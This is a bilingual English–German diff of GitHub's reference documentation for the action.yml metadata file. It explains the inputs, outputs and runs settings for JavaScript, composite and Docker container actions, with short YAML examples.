ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 10/25/2022
ms.locfileid: '148107413'
---
{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
{% data reusables.actions.enterprise-beta %}
{% data reusables.actions.enterprise-github-hosted-runners %}
## Informationen zur YAML-Syntax für {% data variables.product.prodname_actions %}
## About YAML syntax for {% data variables.product.prodname_actions %}
Alle Aktionen erfordern eine Metadatendatei. Der Name der Metadatendatei muss entweder `action.yml` oder `action.yaml` lauten. Die Daten in der Metadaten-Datei definieren die Eingaben, Ausgaben und Laufzeitkonfiguration für die Aktion.
All actions require a metadata file. The metadata filename must be either `action.yml` or `action.yaml`. The data in the metadata file defines the inputs, outputs, and runs configuration for your action.
Action metadata files use YAML syntax. If you're new to YAML, you can read "[Learn YAML in five minutes](https://www.codeproject.com/Articles/1214409/Learn-YAML-in-five-minutes)."
Metadaten-Dateien der Aktionen verwenden die YAML-Syntax. Lies [YAML in fünf Minuten](https://www.codeproject.com/Articles/1214409/Learn-YAML-in-five-minutes), wenn du noch keine Erfahrung mit YAML hast.
## `name`
**Required** The name of your action. {% data variables.product.prodname_dotcom %} displays the `name` in the **Actions** tab to help visually identify actions in each job.
**Erforderlich** Der Name deiner Aktion. {% data variables.product.prodname_dotcom %} zeigt `name` auf der Registerkarte **Aktionen** an, damit Aktionen in jedem Auftrag erkennbar sind.
## `author`
**Optional** The name of the action's author.
**Optional** Der Name des Autors der Aktion
## `description`
**Required** A short description of the action.
**Erforderlich** Eine kurze Beschreibung der Aktion
## `inputs`
**Optional** Input parameters allow you to specify data that the action expects to use during runtime. {% data variables.product.prodname_dotcom %} stores input parameters as environment variables. Input ids with uppercase letters are converted to lowercase during runtime. We recommended using lowercase input ids.
**Optional** Mit Eingabeparametern kannst du die Daten angeben, die die Aktion während der Laufzeit erwartet. {% data variables.product.prodname_dotcom %} speichert Eingabeparameter als Umgebungsvariablen. Eingabe-IDs in Großbuchstaben werden während der Laufzeit in Kleinbuchstaben umgewandelt. Du solltest Eingabe-IDs in Kleinbuchstaben verwenden.
### Example: Specifying inputs
### Beispiel: Angeben von Eingaben
This example configures two inputs: numOctocats and octocatEyeColor. The numOctocats input is not required and will default to a value of '1'. The octocatEyeColor input is required and has no default value. Workflow files that use this action must use the `with` keyword to set an input value for octocatEyeColor. For more information about the `with` syntax, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idstepswith)."
In diesem Beispiel werden zwei Eingaben konfiguriert: „numOctocats“ und „octocatEyeColor“. Die Eingabe „numOctocats“ ist nicht erforderlich und hat standardmäßig den Wert 1. Die Eingabe „octocatEyeColor“ ist erforderlich und hat keinen Standardwert. Workflowdateien, die diese Aktion nutzen, müssen das Schlüsselwort `with` verwenden, um für „octocatEyeColor“ einen Eingabewert festzulegen. Weitere Informationen zur `with`-Syntax findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idstepswith).
```yaml
inputs:
@ -56,43 +60,43 @@ inputs:
required: true
```
When you specify an input in a workflow file or use a default input value, {% data variables.product.prodname_dotcom %} creates an environment variable for the input with the name `INPUT_<VARIABLE_NAME>`. The environment variable created converts input names to uppercase letters and replaces spaces with `_` characters.
Wenn du eine Eingabe in einer Workflowdatei angibst oder einen Standardeingabewert verwenden, erstellt {% data variables.product.prodname_dotcom %} eine Umgebungsvariable für die Eingabe mit dem Namen `INPUT_<VARIABLE_NAME>`. Die erstellte Umgebungsvariable konvertiert Eingabenamen in Großbuchstaben und ersetzt Leerzeichen durch `_`-Zeichen.
If the action is written using a [composite](/actions/creating-actions/creating-a-composite-action), then it will not automatically get `INPUT_<VARIABLE_NAME>`. If the conversion doesn't occur, you can change these inputs manually.
Wenn es sich um eine [zusammengesetzte](/actions/creating-actions/creating-a-composite-action) Aktion handelt, wird `INPUT_<VARIABLE_NAME>` nicht automatisch erstellt. Wenn die Konvertierung nicht stattfindet, kannst du diese Eingaben manuell ändern.
To access the environment variable in a Docker container action, you must pass the input using the `args` keyword in the action metadata file. For more information about the action metadata file for Docker container actions, see "[Creating a Docker container action](/articles/creating-a-docker-container-action#creating-an-action-metadata-file)."
Um auf die Umgebungsvariable in einer Docker-Containeraktion zuzugreifen, musst du die Eingabe mithilfe des Schlüsselworts `args` in der Metadatendatei für die Aktion übergeben. Weitere Informationen zur Metadatendatei für Docker-Containeraktionen findest du unter [Erstellen einer Docker-Containeraktion](/articles/creating-a-docker-container-action#creating-an-action-metadata-file).
For example, if a workflow defined the `numOctocats` and `octocatEyeColor` inputs, the action code could read the values of the inputs using the `INPUT_NUMOCTOCATS` and `INPUT_OCTOCATEYECOLOR` environment variables.
Wenn ein Workflow beispielsweise die Eingaben `numOctocats` und `octocatEyeColor` definiert hat, kann der Aktionscode die Werte der Eingaben mithilfe der Umgebungsvariablen `INPUT_NUMOCTOCATS` und `INPUT_OCTOCATEYECOLOR` lesen.
### `inputs.<input_id>`
**Required** A `string` identifier to associate with the input. The value of `<input_id>` is a map of the input's metadata. The `<input_id>` must be a unique identifier within the `inputs` object. The `<input_id>` must start with a letter or `_` and contain only alphanumeric characters, `-`, or `_`.
**Erforderlich** Ein `string`-Bezeichner, der der Eingabe zugeordnet werden soll. Der Wert von `<input_id>` entspricht einer Zuordnung der Metadaten der Eingabe. `<input_id>` muss ein eindeutiger Bezeichner innerhalb des `inputs`-Objekts sein. `<input_id>` muss mit einem Buchstaben oder `_` beginnen und darf nur alphanumerische Zeichen, `-` oder `_` enthalten.
### `inputs.<input_id>.description`
**Required** A `string` description of the input parameter.
**Erforderlich** Eine `string`-Beschreibung des Eingabeparameters
### `inputs.<input_id>.required`
**Optional** A `boolean` to indicate whether the action requires the input parameter. Set to `true` when the parameter is required.
**Optional** Ein `boolean`-Wert, der angibt, ob die Aktion den Eingabeparameter benötigt. Dieser ist auf `true` festgelegt, wenn der Parameter erforderlich ist.
### `inputs.<input_id>.default`
**Optional** A `string` representing the default value. The default value is used when an input parameter isn't specified in a workflow file.
**Optional** Ein `string`-Wert, der den Standardwert darstellt. Der Standardwert wird verwendet, wenn ein Eingabeparameter in einer Workflow-Datei nicht angegeben ist.
### `inputs.<input_id>.deprecationMessage`
**Optional** If the input parameter is used, this `string` is logged as a warning message. You can use this warning to notify users that the input is deprecated and mention any alternatives.
**Optional** Wenn der Eingabeparameter verwendet wird, wird dieser `string`-Wert als Warnmeldung protokolliert. Du kannst diese Warnung verwenden, um Benutzer*innen darüber zu informieren, dass die Eingabe veraltet ist, und mögliche Alternativen erwähnen.
## `outputs` for Docker container and JavaScript actions
## `outputs` für Docker-Containeraktionen und JavaScript-Aktionen
**Optional** Output parameters allow you to declare data that an action sets. Actions that run later in a workflow can use the output data set in previously run actions. For example, if you had an action that performed the addition of two inputs (x + y = z), the action could output the sum (z) for other actions to use as an input.
**Optional** Ausgabeparameter ermöglichen es Ihnen, Daten zu deklarieren, die eine Aktion festlegt. Aktionen, die in einem Workflow später ausgeführt werden, können die Ausgabedaten der zuvor ausgeführten Aktionen verwenden. Wenn beispielsweise eine Aktion vorliegt, die zwei Eingaben addiert hat (x + y = z), kann die Aktion die Summe (z) für andere Aktionen ausgeben, damit sie dort als Eingabe verwendet wird.
{% data reusables.actions.output-limitations %}
If you don't declare an output in your action metadata file, you can still set outputs and use them in a workflow. For more information on setting outputs in an action, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/reference/workflow-commands-for-github-actions/#setting-an-output-parameter)."
Auch wenn du in der Metadaten-Datei deiner Aktion keine Ausgabe deklarierst, kannst du dennoch Ausgaben festlegen und in einem Workflow verwenden. Weitere Informationen zum Festlegen von Ausgaben in einer Aktion findest du unter [Workflowbefehle für {% data variables.product.prodname_actions %}](/actions/reference/workflow-commands-for-github-actions/#setting-an-output-parameter).
### Example: Declaring outputs for Docker container and JavaScript actions
### Beispiel: Deklarieren von Ausgaben für Docker-Containeraktionen und JavaScript-Aktionen
```yaml
outputs:
@ -102,19 +106,19 @@ outputs:
### `outputs.<output_id>`
**Required** A `string` identifier to associate with the output. The value of `<output_id>` is a map of the output's metadata. The `<output_id>` must be a unique identifier within the `outputs` object. The `<output_id>` must start with a letter or `_` and contain only alphanumeric characters, `-`, or `_`.
**Erforderlich** Ein `string`-Bezeichner, der der Ausgabe zugeordnet werden soll. Der Wert von `<output_id>` entspricht einer Zuordnung der Metadaten der Ausgabe. `<output_id>` muss ein eindeutiger Bezeichner innerhalb des `outputs`-Objekts sein. `<output_id>` muss mit einem Buchstaben oder `_` beginnen und darf nur alphanumerische Zeichen, `-` oder `_` enthalten.
### `outputs.<output_id>.description`
**Required** A `string` description of the output parameter.
**Erforderlich** Eine `string`-Beschreibung des Ausgabeparameters
## `outputs` for composite actions
## `outputs` für zusammengesetzte Aktionen
**Optional** `outputs` use the same parameters as `outputs.<output_id>` and `outputs.<output_id>.description` (see "[`outputs` for Docker container and JavaScript actions](#outputs-for-docker-container-and-javascript-actions)"), but also includes the `value` token.
**Optional** `outputs` verwendet die gleichen Parameter wie `outputs.<output_id>` und `outputs.<output_id>.description` ([`outputs` für Docker-Containeraktionen und JavaScript-Aktionen](#outputs-for-docker-container-and-javascript-actions)), enthält jedoch das Token `value`.
{% data reusables.actions.output-limitations %}
### Example: Declaring outputs for composite actions
### Beispiel: Deklarieren von Ausgaben für zusammengesetzte Aktionen
{% raw %}
```yaml
@ -137,19 +141,19 @@ runs:
### `outputs.<output_id>.value`
**Required** The value that the output parameter will be mapped to. You can set this to a `string` or an expression with context. For example, you can use the `steps` context to set the `value` of an output to the output value of a step.
**Erforderlich** Der Wert, dem der Ausgabeparameter zugeordnet wird. Du kannst diesen auf `string` oder einen Ausdruck mit Kontext festlegen. Du kannst beispielsweise den `steps`-Kontext verwenden, um das `value`-Element einer Ausgabe auf den Ausgabewert eines Schritts festzulegen.
For more information on how to use context syntax, see "[Contexts](/actions/learn-github-actions/contexts)."
Weitere Informationen zur Verwendung der Kontextsyntax findest du unter [Kontexte](/actions/learn-github-actions/contexts).
## `runs`
**Required** Specifies whether this is a JavaScript action, a composite action, or a Docker container action and how the action is executed.
**Erforderlich** Gibt an, ob es sich um eine JavaScript-Aktion, eine zusammengesetzte Aktion oder eine Docker-Containeraktion handelt und wie die Aktion ausgeführt wird
## `runs` for JavaScript actions
## `runs` für JavaScript-Aktionen
**Required** Configures the path to the action's code and the runtime used to execute the code.
**Erforderlich** Konfiguriert den Pfad zum Code der Aktion und die Runtime, die zum Ausführen des Codes verwendet wird
### Example: Using Node.js {% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}v16{% else %}v12{% endif %}
### Beispiel: Verwendung von Node.js {% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}v16{% else %}v12{% endif %}
```yaml
runs:
@ -159,20 +163,20 @@ runs:
### `runs.using`
**Required** The runtime used to execute the code specified in [`main`](#runsmain).
**Erforderlich** Die Runtime, mit der der in [`main`](#runsmain) angegebene Code ausgeführt wird.
- Use `node12` for Node.js v12.{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}
- Use `node16` for Node.js v16.{% endif %}
- Verwende `node12` für Node.js v12.{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}
- Verwende `node16` für Node.js 16.{% endif %}
### `runs.main`
**Required** The file that contains your action code. The runtime specified in [`using`](#runsusing) executes this file.
**Erforderlich** Die Datei, die deinen Aktionscode enthält. Die in [`using`](#runsusing) angegebene Runtime führt diese Datei aus.
### `runs.pre`
**Optional** Allows you to run a script at the start of a job, before the `main:` action begins. For example, you can use `pre:` to run a prerequisite setup script. The runtime specified with the [`using`](#runsusing) syntax will execute this file. The `pre:` action always runs by default but you can override this using [`runs.pre-if`](#runspre-if).
**Optional** Ermöglicht es Ihnen, ein Skript am Anfang eines Auftrags auszuführen, bevor die Aktion `main:` beginnt. Du kannst beispielsweise mit `pre:` ein erforderliches Setupskript ausführen. Die mit der [`using`](#runsusing)-Syntax angegebene Runtime führt diese Datei aus. Die Aktion `pre:` wird standardmäßig immer ausgeführt. Du kannst dies jedoch mit [`runs.pre-if`](#runspre-if) außer Kraft setzen.
In this example, the `pre:` action runs a script called `setup.js`:
In diesem Beispiel führt die Aktion `pre:` ein Skript mit dem Namen `setup.js` aus:
```yaml
runs:
@ -184,11 +188,11 @@ runs:
### `runs.pre-if`
**Optional** Allows you to define conditions for the `pre:` action execution. The `pre:` action will only run if the conditions in `pre-if` are met. If not set, then `pre-if` defaults to `always()`. In `pre-if`, status check functions evaluate against the job's status, not the action's own status.
**Optional** Ermöglicht es Ihnen, Bedingungen für die Ausführung der Aktion `pre:` zu definieren. Die Aktion `pre:` wird nur ausgeführt, wenn die Bedingungen in `pre-if` erfüllt sind. Wenn keine festgelegt sind, wird `pre-if` standardmäßig auf `always()` festgelegt. In `pre-if` vergleichen die entsprechenden Funktionen den Status mit dem des Auftrags, nicht mit dem Status der Aktion.
Note that the `step` context is unavailable, as no steps have run yet.
Beachte, dass der `step`-Kontext nicht verfügbar ist, da noch keine Schritte ausgeführt wurden.
In this example, `cleanup.js` only runs on Linux-based runners:
In diesem Beispiel kann `cleanup.js` nur mit Linux-basierten Runnern ausgeführt werden.
```yaml
pre: 'cleanup.js'
@ -197,9 +201,9 @@ In this example, `cleanup.js` only runs on Linux-based runners:
### `runs.post`
**Optional** Allows you to run a script at the end of a job, once the `main:` action has completed. For example, you can use `post:` to terminate certain processes or remove unneeded files. The runtime specified with the [`using`](#runsusing) syntax will execute this file.
**Optional** Ermöglicht es Ihnen, ein Skript am Ende eines Auftrags auszuführen, sobald die Aktion `main:` abgeschlossen wurde. Du kannst beispielsweise `post:` verwenden, um bestimmte Prozesse zu beenden oder nicht benötigte Dateien zu entfernen. Die mit der [`using`](#runsusing)-Syntax angegebene Runtime führt diese Datei aus.
In this example, the `post:` action runs a script called `cleanup.js`:
In diesem Beispiel führt die Aktion `post:` ein Skript mit dem Namen `cleanup.js` aus:
```yaml
runs:
@ -208,34 +212,34 @@ runs:
post: 'cleanup.js'
```
The `post:` action always runs by default but you can override this using `post-if`.
Die Aktion `post:` wird standardmäßig immer ausgeführt. Du kannst dies jedoch mit `post-if` außer Kraft setzen.
### `runs.post-if`
**Optional** Allows you to define conditions for the `post:` action execution. The `post:` action will only run if the conditions in `post-if` are met. If not set, then `post-if` defaults to `always()`. In `post-if`, status check functions evaluate against the job's status, not the action's own status.
**Optional** Ermöglicht es Ihnen, Bedingungen für die Ausführung der Aktion `post:` zu definieren. Die Aktion `post:` wird nur ausgeführt, wenn die Bedingungen in `post-if` erfüllt sind. Wenn keine festgelegt sind, wird `post-if` standardmäßig auf `always()` festgelegt. In `post-if` vergleichen die entsprechenden Funktionen den Status mit dem des Auftrags, nicht mit dem Status der Aktion.
For example, this `cleanup.js` will only run on Linux-based runners:
`cleanup.js` kann beispielsweise nur mit Linux-basierten Runnern ausgeführt werden:
```yaml
post: 'cleanup.js'
post-if: runner.os == 'linux'
```
## `runs` for composite actions
## `runs` für zusammengesetzte Aktionen
**Required** Configures the path to the composite action.
**Erforderlich** Konfiguriert den Pfad zur zusammengesetzten Aktion
### `runs.using`
**Required** You must set this value to `'composite'`.
**Erforderlich** Du musst diesen Wert auf `'composite'` festlegen.
### `runs.steps`
**Required** The steps that you plan to run in this action. These can be either `run` steps or `uses` steps.
**Erforderlich** Die Schritte, die in dieser Aktion ausgeführt werden sollen. Dabei kann es sich um `run`- oder `uses`-Schritte handeln.
#### `runs.steps[*].run`
**Optional** The command you want to run. This can be inline or a script in your action repository:
**Optional** Der Befehl, den du ausführen möchtest. Dieser kann inline oder mit einem Skript in deinem Aktionsrepository angegeben werden:
{% raw %}
```yaml
@ -247,7 +251,7 @@ runs:
```
{% endraw %}
Alternatively, you can use `$GITHUB_ACTION_PATH`:
Alternativ kannst du auch `$GITHUB_ACTION_PATH` verwenden:
```yaml
runs:
@ -257,22 +261,22 @@ runs:
shell: bash
```
For more information, see "[`github context`](/actions/reference/context-and-expression-syntax-for-github-actions#github-context)".
Weitere Informationen findest du unter [`github context`](/actions/reference/context-and-expression-syntax-for-github-actions#github-context).
#### `runs.steps[*].shell`
**Optional** The shell where you want to run the command. You can use any of the shells listed [here](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsshell). Required if `run` is set.
**Optional** Die Shell, in der der Befehl ausgeführt werden soll. Du kannst eine der [hier](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsshell) aufgeführten Shells verwenden. Erforderlich, wenn `run` festgelegt ist.
{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}
#### `runs.steps[*].if`
**Optional** You can use the `if` conditional to prevent a step from running unless a condition is met. You can use any supported context and expression to create a conditional.
**Optional** Du kannst die `if`-Bedingung verwenden, um zu verhindern, dass ein Schritt ausgeführt wird – es sei denn, eine Bedingung ist erfüllt. Du kannst eine Bedingung mit jedem unterstützten Kontext und Ausdruck erstellen.
{% data reusables.actions.expression-syntax-if %} For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
{% data reusables.actions.expression-syntax-if %} Weitere Informationen findest du unter [Ausdrücke](/actions/learn-github-actions/expressions).
**Example: Using contexts**
**Beispiel: Verwenden von Kontexten**
This step only runs when the event type is a `pull_request` and the event action is `unassigned`.
Dieser Schritt wird nur ausgeführt, wenn der Ereignistyp `pull_request` und die Ereignisaktion `unassigned` lautet.
```yaml
steps:
@ -280,9 +284,9 @@ steps:
if: {% raw %}${{ github.event_name == 'pull_request' && github.event.action == 'unassigned' }}{% endraw %}
```
**Example: Using status check functions**
**Beispiel: Verwenden von Funktionen zur Statusüberprüfung**
The `my backup step` only runs when the previous step of a composite action fails. For more information, see "[Expressions](/actions/learn-github-actions/expressions#status-check-functions)."
`my backup step` wird nur ausgeführt, wenn der vorherige Schritt einer zusammengesetzten Aktion nicht erfolgreich war. Weitere Informationen findest du unter [Ausdrücke](/actions/learn-github-actions/expressions#status-check-functions).
```yaml
steps:
@ -296,30 +300,30 @@ steps:
#### `runs.steps[*].name`
**Optional** The name of the composite step.
**Optional** Der Name des zusammengesetzten Schritts
#### `runs.steps[*].id`
**Optional** A unique identifier for the step. You can use the `id` to reference the step in contexts. For more information, see "[Contexts](/actions/learn-github-actions/contexts)."
**Optional** Ein eindeutiger Bezeichner für den Schritt. Du kannst mit `id` auf den Schritt in Kontexten verweisen. Weitere Informationen findest du unter [Kontexte](/actions/learn-github-actions/contexts).
#### `runs.steps[*].env`
**Optional** Sets a `map` of environment variables for only that step. If you want to modify the environment variable stored in the workflow, use `echo "{name}={value}" >> $GITHUB_ENV` in a composite step.
**Optional** Legt `map` für Umgebungsvariablen fest, die nur für diesen Schritt vorgesehen sind. Wenn du die im Workflow gespeicherte Umgebungsvariable ändern möchtest, verwende `echo "{name}={value}" >> $GITHUB_ENV` in einem zusammengesetzten Schritt.
#### `runs.steps[*].working-directory`
**Optional** Specifies the working directory where the command is run.
**Optional** Gibt das Arbeitsverzeichnis an, in dem der Befehl ausgeführt wird
#### `runs.steps[*].uses`
**Optional** Selects an action to run as part of a step in your job. An action is a reusable unit of code. You can use an action defined in the same repository as the workflow, a public repository, or in a [published Docker container image](https://hub.docker.com/).
**Optional** Wählt eine Aktion aus, die als Teil eines Schritts in deinem Auftrag ausgeführt werden soll. Eine Aktion ist eine wiederverwendbare Code-Einheit. Du kannst eine Aktion verwenden, die im selben Repository wie der Workflow, in einem öffentlichen Repository oder in einem [veröffentlichten Docker-Containerimage](https://hub.docker.com/) definiert ist.
We strongly recommend that you include the version of the action you are using by specifying a Git ref, SHA, or Docker tag number. If you don't specify a version, it could break your workflows or cause unexpected behavior when the action owner publishes an update.
- Using the commit SHA of a released action version is the safest for stability and security.
- Using the specific major action version allows you to receive critical fixes and security patches while still maintaining compatibility. It also assures that your workflow should still work.
- Using the default branch of an action may be convenient, but if someone releases a new major version with a breaking change, your workflow could break.
Es wird dringend empfohlen, die verwendete Version der Aktion zu nennen (Git-Ref, SHA oder Docker-Tag-Nummer angeben). Wenn du keine Version angibst, könnten damit die Workflows gestört werden, oder es wird ein unerwartetes Verhalten hervorgerufen, wenn der bzw. die Besitzer*in der Aktion eine Aktualisierung veröffentlicht.
- Am besten in Hinblick auf Stabilität und Sicherheit ist es, die Commit-SHA einer freigegebenen Version einer Aktion zu verwenden.
- Wenn du dich auf die Hauptversion der Aktion beziehst, kannst du kritische Fehlerbehebungen und Sicherheitspatches erhalten und gleichzeitig die Kompatibilität wahren. Außerdem ist damit sichergestellt, dass der Workflow weiterhin problemlos arbeiteten sollte.
- Die Verwendung des Standardbranches einer Aktion ist zwar auf den ersten Blick praktisch, doch wenn eine neue Hauptversion mit einem Breaking Change veröffentlicht wird, könnte der Workflow unterbrochen werden.
Some actions require inputs that you must set using the [`with`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepswith) keyword. Review the action's README file to determine the inputs required.
Einige Aktionen erfordern Eingaben, die du mit dem Schlüsselwort [`with`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepswith) festlegen musst. Die erforderlichen Eingaben findest du in der README-Datei der Aktion.
```yaml
runs:
@ -345,7 +349,7 @@ runs:
#### `runs.steps[*].with`
**Optional** A `map` of the input parameters defined by the action. Each input parameter is a key/value pair. For more information, see [Example: Specifying inputs](#example-specifying-inputs).
**Optional** Eine `map` der Eingabeparameter, die durch die Aktion definiert werden. Jeder Eingabeparameter ist ein Schlüssel-Wert-Paar. Weitere Informationen findest du unter [Beispiel: Angeben von Eingaben](#example-specifying-inputs).
```yaml
runs:
@ -363,15 +367,15 @@ runs:
#### `runs.steps[*].continue-on-error`
**Optional** Prevents the action from failing when a step fails. Set to `true` to allow the action to pass when this step fails.
**Optional** Verhindert, dass bei der Aktion ein Fehler auftritt, wenn bei einem Schritt ein Fehler auftritt. Lege dies auf `true` fest, damit die Aktion erfolgreich abgeschlossen werden kann, wenn bei diesem Schritt ein Fehler auftritt.
{% endif %}
## `runs` for Docker container actions
## `runs` für Docker-Containeraktionen
**Required** Configures the image used for the Docker container action.
**Erforderlich** Konfiguriert das Image, das für die Docker-Containeraktion verwendet wird
### Example: Using a Dockerfile in your repository
### Beispiel: Verwenden eines Dockerfiles in deinem Repository
```yaml
runs:
@ -379,7 +383,7 @@ runs:
image: 'Dockerfile'
```
### Example: Using public Docker registry container
### Beispiel: Verwenden des öffentlichen Docker-Registrierungscontainers
```yaml
runs:
@ -389,15 +393,15 @@ runs:
### `runs.using`
**Required** You must set this value to `'docker'`.
**Erforderlich** Du musst diesen Wert auf `'docker'` festlegen.
### `runs.pre-entrypoint`
**Optional** Allows you to run a script before the `entrypoint` action begins. For example, you can use `pre-entrypoint:` to run a prerequisite setup script. {% data variables.product.prodname_actions %} uses `docker run` to launch this action, and runs the script inside a new container that uses the same base image. This means that the runtime state is different from the main `entrypoint` container, and any states you require must be accessed in either the workspace, `HOME`, or as a `STATE_` variable. The `pre-entrypoint:` action always runs by default but you can override this using [`runs.pre-if`](#runspre-if).
**Optional** Ermöglicht es Ihnen, ein Skript auszuführen, bevor die Aktion `entrypoint` beginnt. Du kannst beispielsweise mit `pre-entrypoint:` ein erforderliches Setupskript ausführen. {% data variables.product.prodname_actions %} verwendet `docker run`, um diese Aktion zu starten, und führt das Skript in einem neuen Container aus, der das gleiche Basisimage verwendet. Das bedeutet, dass sich der Laufzeitstatus vom `entrypoint`-Hauptcontainer unterscheidet, und auf alle benötigten Status muss entweder im Arbeitsbereich `HOME` oder als `STATE_`-Variable zugegriffen werden. Die Aktion `pre-entrypoint:` wird standardmäßig immer ausgeführt. Du kannst dies jedoch mit [`runs.pre-if`](#runspre-if) außer Kraft setzen.
The runtime specified with the [`using`](#runsusing) syntax will execute this file.
Die mit der [`using`](#runsusing)-Syntax angegebene Runtime führt diese Datei aus.
In this example, the `pre-entrypoint:` action runs a script called `setup.sh`:
In diesem Beispiel führt die Aktion `pre-entrypoint:` ein Skript mit dem Namen `setup.sh` aus:
```yaml
runs:
@ -411,21 +415,21 @@ runs:
### `runs.image`
**Required** The Docker image to use as the container to run the action. The value can be the Docker base image name, a local `Dockerfile` in your repository, or a public image in Docker Hub or another registry. To reference a `Dockerfile` local to your repository, the file must be named `Dockerfile` and you must use a path relative to your action metadata file. The `docker` application will execute this file.
**Erforderlich** Docker-Image, das beim Ausführen der Aktion als Container herangezogen wird. Der Wert kann der Name des Docker-Basisimages sein, ein lokales `Dockerfile` in deinem Repository oder ein öffentliches Image in Docker Hub oder einer anderen Registrierung. Damit du lokal auf ein `Dockerfile` in deinem Repository verweisen kannst, muss die Datei `Dockerfile` heißen, und du musst einen relativen Pfad zu deiner Metadatendatei für die Aktion verwenden. Die `docker`-Anwendung führt diese Datei aus.
### `runs.env`
**Optional** Specifies a key/value map of environment variables to set in the container environment.
**Optional** Gibt eine Schlüssel-Wert-Zuordnung der Umgebungsvariablen an, die in der Containerumgebung festgelegt werden sollen.
### `runs.entrypoint`
**Optional** Overrides the Docker `ENTRYPOINT` in the `Dockerfile`, or sets it if one wasn't already specified. Use `entrypoint` when the `Dockerfile` does not specify an `ENTRYPOINT` or you want to override the `ENTRYPOINT` instruction. If you omit `entrypoint`, the commands you specify in the Docker `ENTRYPOINT` instruction will execute. The Docker `ENTRYPOINT` instruction has a _shell_ form and _exec_ form. The Docker `ENTRYPOINT` documentation recommends using the _exec_ form of the `ENTRYPOINT` instruction.
**Optional** Überschreibt `ENTRYPOINT` für Docker in `Dockerfile` oder legt einen Einstiegspunkt fest, falls noch keiner vorhanden ist. Verwende `entrypoint`, wenn `ENTRYPOINT` in `Dockerfile` nicht angegeben ist oder du die `ENTRYPOINT`-Anweisung außer Kraft setzen möchtest. Wenn du `entrypoint` auslässt, werden die Befehle ausgeführt, die du in der Docker-Anweisung `ENTRYPOINT` angibst. Für die Docker-Anweisung `ENTRYPOINT` gibt es ein _Shellformat_ und ein _Ausführungsformat_. In der Docker-Dokumentation zu `ENTRYPOINT` wird das _Ausführungsformat_ der `ENTRYPOINT`-Anweisung empfohlen.
For more information about how the `entrypoint` executes, see "[Dockerfile support for {% data variables.product.prodname_actions %}](/actions/creating-actions/dockerfile-support-for-github-actions/#entrypoint)."
Weitere Informationen zur Ausführung von `entrypoint` findest du unter[Dockerfile-Unterstützung für {% data variables.product.prodname_actions %}](/actions/creating-actions/dockerfile-support-for-github-actions/#entrypoint).
### `runs.post-entrypoint`
**Optional** Allows you to run a cleanup script once the `runs.entrypoint` action has completed. {% data variables.product.prodname_actions %} uses `docker run` to launch this action. Because {% data variables.product.prodname_actions %} runs the script inside a new container using the same base image, the runtime state is different from the main `entrypoint` container. You can access any state you need in either the workspace, `HOME`, or as a `STATE_` variable. The `post-entrypoint:` action always runs by default but you can override this using [`runs.post-if`](#runspost-if).
**Optional** Ermöglicht es Ihnen, ein Bereinigungsskript auszuführen, sobald die Aktion `runs.entrypoint` abgeschlossen ist. {% data variables.product.prodname_actions %} verwendet `docker run`, um diese Aktion zu starten. Da {% data variables.product.prodname_actions %} das Skript in einem neuen Container mit dem gleichen Basisimage ausführt, unterscheidet sich der Laufzeitstatus vom `entrypoint`-Hauptcontainer. Du kannst auf jeden benötigten Status im Arbeitsbereich `HOME` oder als `STATE_`-Variable zugreifen. Die Aktion `post-entrypoint:` wird standardmäßig immer ausgeführt. Du kannst dies jedoch mit [`runs.post-if`](#runspost-if) außer Kraft setzen.
```yaml
runs:
@ -439,17 +443,17 @@ runs:
### `runs.args`
**Optional** An array of strings that define the inputs for a Docker container. Inputs can include hardcoded strings. {% data variables.product.prodname_dotcom %} passes the `args` to the container's `ENTRYPOINT` when the container starts up.
**Optional** Ein Array aus Zeichenfolgen, die die Eingaben für einen Docker-Container definieren. Eingaben können hartcodierte Strings enthalten. {% data variables.product.prodname_dotcom %} übergibt `args` beim Start des Containers an dessen `ENTRYPOINT`.
The `args` are used in place of the `CMD` instruction in a `Dockerfile`. If you use `CMD` in your `Dockerfile`, use the guidelines ordered by preference:
Die `args`-Elemente werden anstelle der `CMD`-Anweisung in `Dockerfile` verwendet. Wenn du `CMD` in `Dockerfile` verwendest, befolge diese Hinweise (nach Präferenz sortiert):
{% data reusables.actions.dockerfile-guidelines %}
If you need to pass environment variables into an action, make sure your action runs a command shell to perform variable substitution. For example, if your `entrypoint` attribute is set to `"sh -c"`, `args` will be run in a command shell. Alternatively, if your `Dockerfile` uses an `ENTRYPOINT` to run the same command (`"sh -c"`), `args` will execute in a command shell.
Wenn du Umgebungsvariablen an eine Aktion übergeben musst, stelle sicher, dass deine Aktion eine Kommando-Shell ausführt, damit die Variablen ausgewertet werden. Wenn dein `entrypoint`-Attribut beispielsweise auf `"sh -c"` festgelegt ist, wird `args` in einer Befehlsshell ausgeführt. Wenn `Dockerfile` jedoch `ENTRYPOINT` für die Ausführung dieses Befehls (`"sh -c"`) verwendet, wird `args` in einer Befehlsshell ausgeführt.
For more information about using the `CMD` instruction with {% data variables.product.prodname_actions %}, see "[Dockerfile support for {% data variables.product.prodname_actions %}](/actions/creating-actions/dockerfile-support-for-github-actions/#cmd)."
Weitere Informationen zur Verwendung der `CMD`-Anweisung mit {% data variables.product.prodname_actions %} findest du unter [Dockerfile-Unterstützung für {% data variables.product.prodname_actions %}](/actions/creating-actions/dockerfile-support-for-github-actions/#cmd).
#### Example: Defining arguments for the Docker container
#### Beispiel: Definieren von Argumenten für den Docker-Container
{% raw %}
```yaml
@ -465,9 +469,9 @@ runs:
## `branding`
